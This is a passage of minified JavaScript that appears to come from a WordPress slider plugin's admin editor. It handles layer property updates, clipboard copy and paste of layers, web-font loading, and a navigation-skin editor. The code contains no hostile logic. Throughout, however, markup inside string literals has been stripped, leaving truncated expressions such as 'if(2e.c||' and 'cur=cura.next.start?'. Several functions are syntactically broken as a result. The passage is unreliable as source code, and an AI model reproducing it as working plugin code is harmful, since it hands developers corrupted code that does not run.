e:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".v."+e.index,val:a}),e.notEdited&&RVS.F.updateSliderObj({ignoreResponsive:!0,path:RVS.S.slideId+".layers."+e.uid+".idle."+e.key+"."+RVS.V.sizes[s]+".e",val:!1})):(t[e.uid].idle[e.key][RVS.V.sizes[s]].v[e.index]=a,e.notEdited&&(t[e.uid].idle[e.key][RVS.V.sizes[s]].e=!1))}break;case"textAlign":case"fontWeight":case"borderStyle":case"color":e.l="color"===e.key&&"svg"===t[e.uid].type?t[e.uid].idle.svg.color:t[e.uid].idle[e.key],e.p="color"===e.key&&"svg"===t[e.uid].type?e.uid+".idle.svg.color.":e.uid+".idle."+e.key+".",RVS.F.iUHelp(e);break;case"lineHeight":case"letterSpacing":case"fontSize":e.l=t[e.uid].idle[e.key],e.p=e.uid+".idle."+e.key+".",e.number=!0,e.shrink=!0,"fontSize"===e.key&&(e.minValue=4),"lineHeight"===e.key&&(e.minValue=6),RVS.F.iUHelp(e);break;case"whiteSpace":e.p=e.uid+".idle.whiteSpace.",e.l=t[e.uid].idle[e.key],RVS.F.iUHelp(e)}void 0!==RVS.F.intelligentUpdateExtend&&void 0!==RVS.F.intelligentUpdateExtend[t[e.uid].subtype]&&RVS.F.intelligentUpdateExtend[t[e.uid].subtype](e,t)},RVS.F.updateGroupLocks=function(){for(var e in RVS.L)RVS.L.hasOwnProperty(e)&&RVS.L[e].group&&"group"===RVS.L[e].type&&void 0!==RVS.H[e]&&(RVS.L[e].group.locked?RVS.H[e].w.addClass("_group_locked_"):RVS.H[e].w.removeClass("_group_locked_"))},RVS.F.saveSelectedLayersToCache=function(e){RVS.DOC.trigger("do_copy_layer");var t,i,a,r,s=RVS.F.simplifyAllLayer(window.copyPasteLayers.layers,"min");for(i in s)if(s.hasOwnProperty(i)){if(void 0!==s[i].actions&&void 0!==s[i].actions.action)for(a in s[i].actions.action)if(s[i].actions.action.hasOwnProperty(a)&&void 0!==s[i].actions.action[a].layer_target)for(r in t=s[i].actions.action[a].layer_target,s)if(s.hasOwnProperty(r)&&s[r].copiedFromUid==t){s[i].actions.action[a].layer_target=s[r].uid;break}if(void 0!==s[i].labelfor)for(r in t=s[i].labelfor,s)if(s.hasOwnProperty(r)&&s[r].copiedFromUid==t){s[i].labelfor=s[r].uid;break}void 0!==RVS.F.updateReferencedLayerExports&&void 0!==RVS.F.updateReferencedLayerExports[s[i].subtype]&&(s[i]=RVS.F.updateReferencedLayerExports[s[i].subtype](i,s))}if(2==e){for(i in s)s.hasOwnProperty(i)&&(delete s[i].media,delete s[i].copiedFromUid,delete s[i].toggle,delete s[i].visibility,delete s[i].behavior,void 0!==s[i].size&&(delete s[i].size.maxHeight,delete s[i].size.minHeight,delete s[i].size.maxWidth,delete s[i].size.minWidth),s[i].alias=s[i].alias.replace("Copy ",""));return console.log(s),[JSON.stringify(s),s.copy0.alias.replace("-"," ").replace("-"," ")]}return JSON.stringify(s)},RVS.F.copyToClipboardHandle_FC=function(){var e=RVS.F.saveSelectedLayersToCache();window.isSecureContext?(navigator.clipboard.writeText("RSJSON1.0"+e),RVS.F.showInfo({content:RVS_LANG.clipboardexport,type:"success",showdelay:0,hidedelay:2,hideon:"",event:""})):RVS.F.showInfo({content:RVS_LANG.clipboardwarning,type:"goodtoknow",showdelay:0,hidedelay:3,hideon:"",event:""})},RVS.F.pasteFromClipboardHandle_FC=function(){new Promise((e,t)=>{(async()=>{try{if(window.isSecureContext)if(null==navigator.clipboard.readText)RVS.F.showInfo({content:RVS_LANG.clipboardfirefox,type:"goodtoknow",showdelay:0,hidedelay:5,hideon:"",event:""});else{const t=await navigator.clipboard.readText();e(t)}else RVS.F.showInfo({content:RVS_LANG.clipboardwarning,type:"goodtoknow",showdelay:0,hidedelay:3,hideon:"",event:""})}catch(e){t(e)}})()}).then(e=>{if(null!=e&&-1!=e.indexOf("RSJSON1.0")){RVS.F.showInfo({content:RVS_LANG.clipboardimport,type:"success",showdelay:0,hidedelay:2,hideon:"",event:""}),e=e.replace("RSJSON1.0","");var t=JSON.parse(e);for(var i in RVS.LIB.OBJ.import={toImport:[]},t)t.hasOwnProperty(i)&&RVS.LIB.OBJ.import.toImport.push(t[i].uid);RVS.F.showWaitAMinute({fadeIn:100,text:RVS_LANG.importinglayers}),RVS.S.ignoreCopyPrefix=!0,RVS.F.importSelectedLayers(RVS.F.checkLayersRelativeAbsolute(t),!0)}else RVS.F.showInfo({content:RVS_LANG.clipboardnotvalid,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})})},RVS.DOC.on("updateLayerFrame",function(e,t){if(void 0!==t)for(var i in RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[i],0),frame:RVS.S.keyFrame}),RVS.F.updateFrameRealSpeed())}),RVS.DOC.on("updateLayerFrameStart",function(e,t){if(void 0!==t||void 0!==t.val){RVS.F.openBackupGroup({id:"LayerFrameStart",txt:"Layer Frame Start",icon:"layers",lastkey:"layer"});var i=parseInt(RVS.selLayers[0],0),a=RVS.F.getPrevNextFrame({layerid:i,frame:RVS.S.keyFrame});for(var i in cur=parseInt(t.val,0),cur=cura.next.start?a.next.start-(a.cur.framelength+10):cur,cur=cur>10*RVS.F.getSlideLength()?10*RVS.F.getSlideLength():cur,RVS.F.updateLayerObj({path:"timeline.frames."+RVS.S.keyFrame+".timeline.start",val:cur}),RVS.F.closeBackupGroup({id:"LayerFrameStart"}),document.getElementById("layerframestart").value=cur,RVS.selLayers)RVS.selLayers.hasOwnProperty(i)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[i],0),frame:RVS.S.keyFrame}),RVS.F.updateFrameRealSpeed())}})}(),function(e,t,i){function a(e,t,i){return e.call.apply(e.bind,arguments)}function r(e,t,i){if(!e)throw Error();if(2e.c||this.c===e.c&&this.g>e.g||this.c===e.c&&this.g===e.g&&this.D>e.D?1:this.ca.c||536==a.c&&11>a.g))}function w(e,t,i){return(e=e.match(t))&&e[i]?e[i]:""}function b(e){this.ma=e||"-"}function I(e,t){this.N=e,this.Z=4,this.O="n";var i=(t||"n4").match(/^([nio])([1-9])$/i);i&&(this.O=i[1],this.Z=parseInt(i[2],10))}function F(e){return e.O+e.Z}function D(e){var t=4,i="n",a=null;return e&&((a=e.match(/(normal|oblique|italic)/i))&&a[1]&&(i=a[1].substr(0,1).toLowerCase()),(a=e.match(/([1-9]00|normal|bold)/i))&&a[1]&&(/bold/i.test(a[1])?t=7:/[1-9]00/.test(a[1])&&(t=parseInt(a[1].substr(0,1),10)))),i+t}function x(e,t){this.d=e,this.q=e.w.document.documentElement,this.Q=t,this.j="wf",this.h=new b("-"),this.ha=!1!==t.events,this.F=!1!==t.classes}function k(e){if(e.F){var t=S(e.q,e.h.e(e.j,"active")),i=[],a=[e.h.e(e.j,"loading")];t||i.push(e.h.e(e.j,"inactive")),d(e.q,i,a)}C(e,"inactive")}function C(e,t,i){e.ha&&e.Q[t]&&(i?e.Q[t](i.getName(),F(i)):e.Q[t]())}function O(){this.C={}}function T(e,t){this.d=e,this.I=t,this.o=this.d.createElement("span",{"aria-hidden":"true"},this.I)}function j(e,t){var i,a=e.o;i=[];for(var r=t.N.split(/,\s*/),s=0;s=e.X?e.k.ga&&P(e,t,i)&&(null===e.ca||e.ca.hasOwnProperty(e.m.getName()))?H(e,e.$):H(e,e.ka):function(e){setTimeout(s(function(){z(this)},e),50)}(e):H(e,e.$)}function H(e,t){e.t.remove(),e.u.remove(),e.H.remove(),t(e.m)}function B(e,t,i,a){this.d=t,this.A=i,this.S=0,this.ea=this.ba=!1,this.X=a,this.k=e.k}function N(e,t,i,a,r){if(i=i||{},0===t.length&&r)k(e.A);else for(e.S+=t.length,r&&(e.ba=r),r=0;r'+t.name+'
    content_copy
    ':a+='
    '+t.name+'
    editcontent_copydelete
    doneclose
    '}document.getElementById("rs_ne_factory_list").innerHTML=i,document.getElementById("rs_ne_custom_list").innerHTML=a,jQuery(".rs_ne_list_wrapper").scrollTop(0).RSScroll({suppressScrollX:!0})}function o(){void 0!==RVS.nav.currentSkin&&(RVS.nav.currentSkin.changed=!0),jQuery("#save_naveditor").show(),RVS.nav.toSave=!0}function n(){document.getElementById("rs_ne_nav_width").value=RVS.nav.currentSkin.dim.width,document.getElementById("rs_ne_nav_height").value=RVS.nav.currentSkin.dim.height,document.getElementById("rs_ne_nav_classname").value=RVS.nav.currentSkin.handle;var e="";for(var t in RVS.nav.currentSkin.placeholders){if(!RVS.nav.currentSkin.placeholders.hasOwnProperty(t))continue;e+='
    '+RVS.nav.currentSkin.placeholders[t].title+'',e+='
    addsettingsdelete
    doneclose
    ',e+="
    "}document.getElementById("rs_ne_meta_values_inner").innerHTML=e}function l(){var e=jQuery("#rs_ne_def_meta_handle")[0].value;0===e.length||0===jQuery("#rs_ne_def_meta_title")[0].value.length||RVS.nav.currentPlaceholder!==e&&void 0!==RVS.nav.currentSkin.placeholders[e]?jQuery("#update_nav_meta_value").addClass("disabled"):jQuery("#update_nav_meta_value").removeClass("disabled"),RVS.nav.currentPlaceholder!==e&&void 0!==RVS.nav.currentSkin.placeholders[e]?jQuery("#rs_ne_def_meta_handle").addClass("badvalue"):jQuery("#rs_ne_def_meta_handle").removeClass("badvalue")}function d(){e.appendTo(jQuery("#rev_slider_ul_inner")),t.appendTo(jQuery("#rev_slider_ul_inner")),i.appendTo(jQuery("#rev_slider_ul_inner")),a.tabs.self.appendTo(jQuery("#rev_slider_ul_inner")),a.thumbs.self.appendTo(jQuery("#rev_slider_ul_inner"))}function S(e){jQuery(".rs_ne_nav_skin.selected").removeClass("selected"),e.className+=" selected",RVS.nav.currentSkinType=e.dataset.type,RVS.nav.currentSkinHandle=e.dataset.handle,RVS.nav.currentSkin=RVS.nav[e.dataset.type][e.dataset.handle],n(),jQuery("#rs_ne_helper_wrap, #rs_ne_settings, #rs_ne_markup_css_button_wrap").show(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),jQuery("#rs_ne_nav_classname").removeClass("badvalue"),RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode]),RVS.nav.infactorymode=RVS.nav.currentSkin.factory,RVS.nav.infactorymode?jQuery("#rs_ne_settings").addClass("infactorymode"):jQuery("#rs_ne_settings").removeClass("infactorymode"),RVS.nav.editor.setOption("readOnly",RVS.nav.currentSkin.factory),RVS.F.drawEditorNavigation(),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor"))}function c(e){var t=document.getElementById("sr_"+e.type+"_style_preset");if(null!==t&&null!=t){t.options.length=0;var i=document.createDocumentFragment();if(i.appendChild(RVS.F.CO("custom","Custom")),i.appendChild(RVS.F.CO("default","Default")),null!=e.navobj&&null!==e.navobj.settings){var a;if(void 0!==e.navobj)for(var r in e.navobj.presets)e.navobj.presets.hasOwnProperty(r)&&(a=RVS.F.CO(r,e.navobj.presets[r].name),i.appendChild(a));t.appendChild(i),!0===e.presetChange&&(RVS.SLIDER.settings.nav[e.type].preset="default"),t.value=RVS.SLIDER.settings.nav[e.type].preset,jQuery(t).ddTP({tags:!0}).ddTP("change"),RVS.F.updatePresetInputs(e),RVS.F.updateSlideBasedNavigationStyle()}else t.appendChild(i)}}function p(i){var a=RVS.SLIDER.settings.nav[i.type].presets,r=RVS.SLIDER[RVS.S.slideId].slide.nav[i.type].presets,s=void 0===i.skin?RVS.nav[i.type][i.handle]:i.skin,o=s.css,n=o.split("##"),l=[],d=0,S="";if(null==o)return"";for(var c=0;c"+o+"")}function u(e){if(void 0===RVS.SLIDER[e.id])return"";var t=RVS.SLIDER[e.id].slide.thumb.customThumbSrc;return void 0===t||t.length<3||"/"===t[t.length-1]?RVS.F.getSlideBGDrawObj({id:e.id}):{"background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundImage:"url("+t+")"}}function R(e,t){if(void 0!==t){var i=0,a=0,r="slider"===t.align?{x:parseInt(t.offsetX,0)+("left"===t.horizontal?i:0),y:parseInt(t.offsetY,0)+("top"===t.vertical?a:0)}:{x:parseInt(t.offsetX,0)+("right"===t.horizontal?RVS.S.layer_wrap_offset.xr:RVS.S.layer_wrap_offset.x),y:parseInt(t.offsetY,0)+("top"===t.vertical?RVS.S.layer_wrap_offset.y:RVS.S.layer_wrap_offset.y-a)},s={marginLeft:"0px",x:"0%",left:r.x+"px",right:"auto",marginTop:"0px",y:"0%",top:r.y+"px",bottom:"auto"};switch(RVS.S.dim_offsets=RVS.F.sliderDimensionOffsets(),t.horizontal){case"right":s.left="auto",s.right=parseInt(r.x,0)+"px";break;case"center":s.marginLeft=i/2+parseInt(t.offsetX,0)+"px",s.x="-50%",s.left="50%"}switch(t.vertical){case"bottom":s.top="auto",s.bottom=r.y+"px";break;case"center":var o=RVS.S.dim_offsets.carouseltop/2+RVS.S.dim_offsets.navtop/2-(RVS.S.dim_offsets.carouselbottom/2+RVS.S.dim_offsets.navbottom/2);s.marginTop=a/2+(parseInt(t.offsetY,0)+parseInt(o,0))+"px",s.y="-50%",s.top="50%"}if(!0===t.spanWrapper)switch(t.direction){case"horizontal":s.marginLeft="0px",s.x="0%",s.left="0%";break;case"vertical":s.marginTop="0px",s.y="0%",s.top="0px"}tpGS.gsap.set(e,s)}}function V(){RVS.DOC.on("openNavigationEditor",RVS.F.openNavigationEditor),RVS.DOC.on("sliderNavUpdate",function(e,t){RVS.F.updateNavStyleSelection({init:!1,type:t,presetChange:!0})}),RVS.DOC.on("redrawNavigation",function(e,t){RVS.F.drawNavigation({type:t,init:!0})}),RVS.DOC.on("sliderNavPreset",function(e,t){RVS.F.setNavPresetValues({type:t})}),RVS.DOC.on("sliderNavPositionUpdate",function(e,t){RVS.F.sliderNavPositionUpdate({type:t})}),RVS.DOC.on("navinnerouter",function(e,t){!function(e){var t=RVS.SLIDER.settings.nav[e.type],i=jQuery("#sr_"+e.type+"hor"),a=jQuery("#sr_"+e.type+"ver"),r="sr_"+e.type+"direction";switch(jQuery("#sr_"+e.type+"_halignwrap").show(),jQuery("#sr_"+e.type+"_valignwrap").show(),t.innerOuter){case"inner":jQuery("#"+e.type+"pos_selector_center-center").show(),jQuery("#"+e.type+"pos_selector_left-center").show(),jQuery("#"+e.type+"pos_selector_right-center").show(),jQuery("#"+e.type+"pos_selector_center-top").show(),jQuery("#"+e.type+"pos_selector_center-bottom").show();break;case"outer-vertical":RVS.F.setS2Option({select:i,selectValue:"left"}),RVS.F.setS2Option({select:a,selectValue:"center"}),RVS.F.setRadio({radio:r,radioValue:"vertical",change:!0}),jQuery("#"+e.type+"pos_selector_center-top").hide(),jQuery("#"+e.type+"pos_selector_center-center").hide(),jQuery("#"+e.type+"pos_selector_center-bottom").hide(),jQuery("#"+e.type+"pos_selector_left-center").show(),jQuery("#"+e.type+"pos_selector_right-center").show(),jQuery("#sr_"+e.type+"_halignwrap").hide();break;case"outer-horizontal":RVS.F.setS2Option({select:i,selectValue:"center"}),RVS.F.setS2Option({select:a,selectValue:"bottom"}),RVS.F.setRadio({radio:r,radioValue:"horizontal",change:!0}),jQuery("#"+e.type+"pos_selector_left-center").hide(),jQuery("#"+e.type+"pos_selector_center-center").hide(),jQuery("#"+e.type+"pos_selector_right-center").hide(),jQuery("#"+e.type+"pos_selector_center-top").show(),jQuery("#"+e.type+"pos_selector_center-bottom").show(),jQuery("#sr_"+e.type+"_valignwrap").hide()}i.trigger("change"),a.trigger("change")}({type:t})}),RVS.DOC.on("saveNavPreset",function(e,t){RVS.F.saveDeleteNavPreset({mode:"save",type:t})}),RVS.DOC.on("deleteNavPreset",function(e,t){RVS.F.saveDeleteNavPreset({mode:"delete",type:t})}),RVS.DOC.on("mouseenter","#ddTP-sr_arrows_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"arrows",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_bullets_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"bullets",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_thumbs_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"thumbs",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("mouseenter","#ddTP-sr_tabs_style-results li",function(){var e=this.id.split("-result-")[1].split("-")[0],t=this.id.split(e+"-")[1];RVS.F.drawNavigation({type:"tabs",style:t,init:!1,presetChange:!0,default:!0})}),RVS.DOC.on("ddTP:open",".sr_nav_style_tos",function(){window.shortcachenav=jQuery.extend(!0,{},RVS.SLIDER.settings.nav[this.dataset.evtparam]),window.shortnavindex=this.selectedIndex}),RVS.DOC.on("ddTP:close",".sr_nav_style_tos",function(e){window.shortnavindex===this.selectedIndex?(RVS.SLIDER.settings.nav[this.dataset.evtparam]=jQuery.extend(!0,{},window.shortcachenav),RVS.F.drawNavigation({type:this.dataset.evtparam,init:!1})):RVS.F.drawNavigation({type:this.dataset.evtparam,init:!1})}),RVS.DOC.on("click",".nav_preseticon_pick",function(){var e=this.parentNode.parentNode;jQuery("#"+e.dataset.insertinto).val(this.dataset.content).trigger("change")})}function m(e){return"false"===e||!1===e||"off"===e||void 0===e||0===e||-1===e?e=!1:"true"!==e&&!0!==e&&"on"!==e||(e=!0),e}RVS.F.initNavigation=function(){e=jQuery("#tp-leftarrow"),t=jQuery("#tp-rightarrow"),i=jQuery("#tp-bullets"),a={tabs:{self:jQuery("#tp-tabs"),mask:jQuery("#tp-tabs-mask"),inner:jQuery("#tp-tabs-inner-wrapper"),single:"tp-tab"},thumbs:{self:jQuery("#tp-thumbs"),mask:jQuery("#tp-thumbs-mask"),inner:jQuery("#tp-thumbs-inner-wrapper"),single:"tp-thumb"}},RVS.F.buildNavigationLists(),V()},RVS.F.buildNavigationLists=function(e){for(var t in r)if(r.hasOwnProperty(t)){var i="";for(var a in RVS.nav[r[t]])RVS.nav[r[t]].hasOwnProperty(a)&&(i+='");jQuery("#sr_"+r[t]+"_style")[0].innerHTML=i,e&&jQuery("#sr_"+r[t]+"_style").ddTP({placeholder:"Enter or Select"})}e&&RVS.F.updateEasyInputs({container:jQuery("#nav_form_collector"),path:"settings."})},RVS.F.openNavigationEditor=function(){if(RVS.nav=void 0===RVS.nav?{}:RVS.nav,RVS.nav.toSave=!1,RVS.nav.toDelete=[],"FAIL"!==RVS.nav.editor)if("undefined"==typeof RevMirror||void 0===RevMirror)RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.loadingRevMirror}),RVS.F.loadCSS(RVS.ENV.plugin_url+"/admin/assets/css/RevMirror.css"),jQuery.getScript(RVS.ENV.plugin_url+"/admin/assets/js/plugins/RevMirror.js",function(){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),RVS.F.openNavigationEditor()}).fail(function(e,t,i){setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),window.nav.editor="FAIL"});else{if(void 0===RVS.nav.editor){var c=jQuery("#nav_fontfamily"),p="";for(var u in RVS.LIB.FONTS)RVS.LIB.FONTS.hasOwnProperty(u)&&"Dont Show Me"!==RVS.LIB.FONTS[u].label&&(p+='");c.append(p),c.ddTP({placeholder:"Enter or Select"}),c.ddTP("change"),V(),RVS.nav.editor=RevMirror(document.getElementById("rs_nav_css_js_area"),{value:"",mode:"css",theme:"hopscotch",lineWrapping:!0,lineNumbers:!1}),RVS.DOC.on("click",".rs_ne_nav_skin",function(){S(this)}),RVS.DOC.on("click","#rbm_navigation_editor .rbm_close",function(){RVS.nav.toSave?RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"warning",title:RVS_LANG.warning,maintext:RVS_LANG.changesdone_exit,subtext:RVS_LANG.exitwihoutchangesornot,do:{icon:"exit_to_app",text:RVS_LANG.leavewithoutsave,event:"leavaeditorwithoutsave"},cancel:{icon:"cancel",text:RVS_LANG.stayineditor}}):(d(),RVS.F.RSDialog.close(),RVS.F.buildNavigationLists(!0))}),RVS.DOC.on("leavaeditorwithoutsave",function(){for(var e in r)r.hasOwnProperty(e)&&(RVS.nav[r[e]]=jQuery.extend(!0,{},RVS.nav.cache[r[e]]));RVS.nav.toDelete=[],RVS.nav.toSave=!1,jQuery("#save_naveditor").hide(),d()}),RVS.DOC.on("click","#save_naveditor",RVS.F.savechangesonnavigation),RVS.DOC.on("click",".rs_ne_selector",function(){RVS.F.pickNavType(this)}),RVS.DOC.on("click",".rs_ne_nskin_meta_config",function(){switch(jQuery("#rs_ne_cssmeta_config").show(),jQuery("#rs_ne_cssmeta_values").hide(),RVS.nav.currentPlaceholder=this.dataset.placeholder,jQuery("#rs_ne_meta_type").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].type).ddTP("change").change(),document.getElementById("rs_ne_def_meta_title").value=RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].title,document.getElementById("rs_ne_def_meta_handle").value=RVS.nav.currentPlaceholder,RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].type){case"color":jQuery("#rs_ne_def_meta_color_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data).rsColorPicker("refresh");break;case"icon":jQuery("#rs_ne_def_meta_icon_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data);var e=RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data;e=e.length>0?e.replace("\\",""):e,jQuery(".rs_ne_pick.selected").removeClass("selected"),jQuery(".rs_ne_icon_"+e).addClass("selected");break;case"custom":jQuery("#rs_ne_def_meta_custom_val").val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data);break;case"font-family":var t=jQuery("#nav_fontfamily");t.val(RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder].data),t.ddTP("change")}}),RVS.DOC.on("click","#add_new_placeholder",function(){jQuery("#rs_ne_cssmeta_config").show(),jQuery("#rs_ne_cssmeta_values").hide(),RVS.nav.currentPlaceholder="in_create_process",document.getElementById("rs_ne_def_meta_title").value="",document.getElementById("rs_ne_def_meta_handle").value="",jQuery("#rs_ne_def_meta_color_val").val("#ffffff"),jQuery("#rs_ne_def_meta_icon_val").val(),jQuery("#rs_ne_def_meta_custom_val").val(),jQuery("#nav_fontfamily").val("Arial"),l()}),RVS.DOC.on("change","#rs_ne_nav_classname",function(){var e=RVS.nav.currentSkin.handle,t=RVS.F.sanitize_input_lc(this.value.toLowerCase());if(this.value=t,e!==t){if(RVS.F.checkSkinHandle(this.value))jQuery("#rs_ne_nav_classname").addClass("badvalue");else{jQuery("#rs_ne_nav_classname").removeClass("badvalue"),RVS.nav.currentSkin.handle=t;var i=new RegExp("\\."+e,"g");RVS.nav.currentSkin.css=RVS.nav.currentSkin.css.replace(i,"."+t),RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode])}o()}}),RVS.DOC.on("setrsnavtovertical",function(){jQuery("#rs_ne_horizontaltest").removeClass("selected"),jQuery("#rs_ne_verticaltest").addClass("selected"),RVS.nav.currentAlignMode="vertical",RVS.F.drawEditorNavigation()}),RVS.DOC.on("setrsnavtohorizontal",function(){jQuery("#rs_ne_horizontaltest").addClass("selected"),jQuery("#rs_ne_verticaltest").removeClass("selected"),RVS.nav.currentAlignMode="horizontal",RVS.F.drawEditorNavigation()}),RVS.DOC.on("rsdimgapchange",function(e,t){if(void 0!==t&&void 0!==t.eventparam){switch(t.eventparam){case"width":case"height":RVS.nav.currentSkin.dim[t.eventparam]=t.val,o();break;case"space":RVS.nav.currentTestSpace=t.val}RVS.F.drawEditorNavigation()}}),RVS.DOC.on("setrsnavposition",function(){switch(jQuery("#rs_nav_test_position").val()){case"left top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="left";break;case"center top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="center";break;case"right top":RVS.nav.currentPosVer="top",RVS.nav.currentPosHor="right";break;case"left center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="left";break;case"center center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="center";break;case"right center":RVS.nav.currentPosVer="center",RVS.nav.currentPosHor="right";break;case"left bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="left";break;case"center bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="center";break;case"right bottom":RVS.nav.currentPosVer="bottom",RVS.nav.currentPosHor="right"}RVS.F.drawEditorNavigation()}),RVS.DOC.on("change","#rs_ne_def_meta_title",l),RVS.DOC.on("change","#rs_ne_def_meta_handle",function(){this.value=RVS.F.sanitize_input_lc(this.value),l()}),RVS.DOC.on("click",".rs_ne_pick",function(){jQuery(".rs_ne_pick.selected").removeClass("selected"),this.className+=" selected",jQuery("#rs_ne_def_meta_icon_val").val(this.dataset.content)}),RVS.DOC.on("click",".rs_ne_nskin_meta_add, .rs_ne_markup_meta_btn",function(){return RVS.nav.infactorymode||RVS.F.insertTextAtCursor(RVS.nav.editor,this.dataset.insert),!1}),RVS.DOC.on("closenavmetavalue",function(){jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show()}),RVS.DOC.on("updatenavmetavalue",function(){var e=document.getElementById("rs_ne_def_meta_handle").value;switch(RVS.nav.currentSkin.placeholders=""===RVS.nav.currentSkin.placeholders||void 0===RVS.nav.currentSkin.placeholders||"string"==typeof RVS.nav.currentSkin.placeholders?{}:RVS.nav.currentSkin.placeholders,RVS.nav.currentSkin.placeholders[e]=void 0===RVS.nav.currentSkin.placeholders[e]||""==RVS.nav.currentSkin.placeholders[e]?{}:RVS.nav.currentSkin.placeholders[e],RVS.nav.currentSkin.placeholders[e].type=document.getElementById("rs_ne_meta_type").value,RVS.nav.currentSkin.placeholders[e].title=document.getElementById("rs_ne_def_meta_title").value,RVS.nav.currentSkin.placeholders[e].type){case"color":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_color_val").value;break;case"icon":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_icon_val").value;break;case"custom":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("rs_ne_def_meta_custom_val").value;break;case"font-family":RVS.nav.currentSkin.placeholders[e].data=document.getElementById("nav_fontfamily").value}e!==RVS.nav.currentPlaceholder&&delete RVS.nav.currentSkin.placeholders[RVS.nav.currentPlaceholder],n(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),RVS.F.drawEditorNavigation(),o()}),RVS.DOC.on("click",".rs_ne_nskin_edit",function(){var e=jQuery(this).closest(".rs_ne_nav_skin");return e[0].dataset.mode="rename",e.addClass("rs_changename"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["rs_ne_nskin_title_input","rs_ne_nskin_yes","rs_ne_nskin_no","rbm_close"],closeEvent:"hideCustomNavNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".rs_ne_nskin_delete",function(){var e=jQuery(this).closest(".rs_ne_listelement");return e[0].dataset.mode="delete",e.addClass("rs_showmessage"),e.find(".rs_ne_nskin_message").text(RVS_LANG.deletetemplate),RVS.S.waitOnFeedback={allowed:["rs_ne_nskin_yes","rs_ne_nskin_no","rbm_close"],closeEvent:"hideCustomNavNameEntering"},RVS.F.addBodyClickListener(),!1}),RVS.DOC.on("click",".rs_ne_nskin_copy",function(){var e=jQuery(this).closest(".rs_ne_nav_skin");RVS.nav.currentMaxid++,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid]=jQuery.extend(!0,{},RVS.nav[e[0].dataset.type][e[0].dataset.handle]);var t=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle,i=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle+"_copy"+Math.round(100*Math.random()+10);!0===RVS.F.checkSkinHandle(i)&&(i+=Math.round(100*Math.random()+10)),!0===RVS.F.checkSkinHandle(i)&&(i+=Math.round(100*Math.random()+10)),RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].factory=!1,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].name+=" Copy",RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].handle=i,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].changed=!0,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].id="new_"+RVS.nav.currentMaxid,RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].presets={};var a=new RegExp("\\."+t,"g");return RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].css=RVS.nav[e[0].dataset.type]["new_"+RVS.nav.currentMaxid].css.replace(a,"."+i),RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type),o(),!1}),RVS.DOC.on("click","#rs_ne_new_custom_nav",function(){RVS.nav.currentMaxid++,RVS.nav[RVS.nav.currentSkinType]["new_"+RVS.nav.currentMaxid]=RVS.F.createNewNavigation(RVS.nav.currentSkinType),s(RVS.nav.currentSkinType),jQuery("#rs_ne_nav_skin_new_"+RVS.nav.currentMaxid).trigger("click"),jQuery("#rs_ne_nav_skin_new_"+RVS.nav.currentMaxid+" 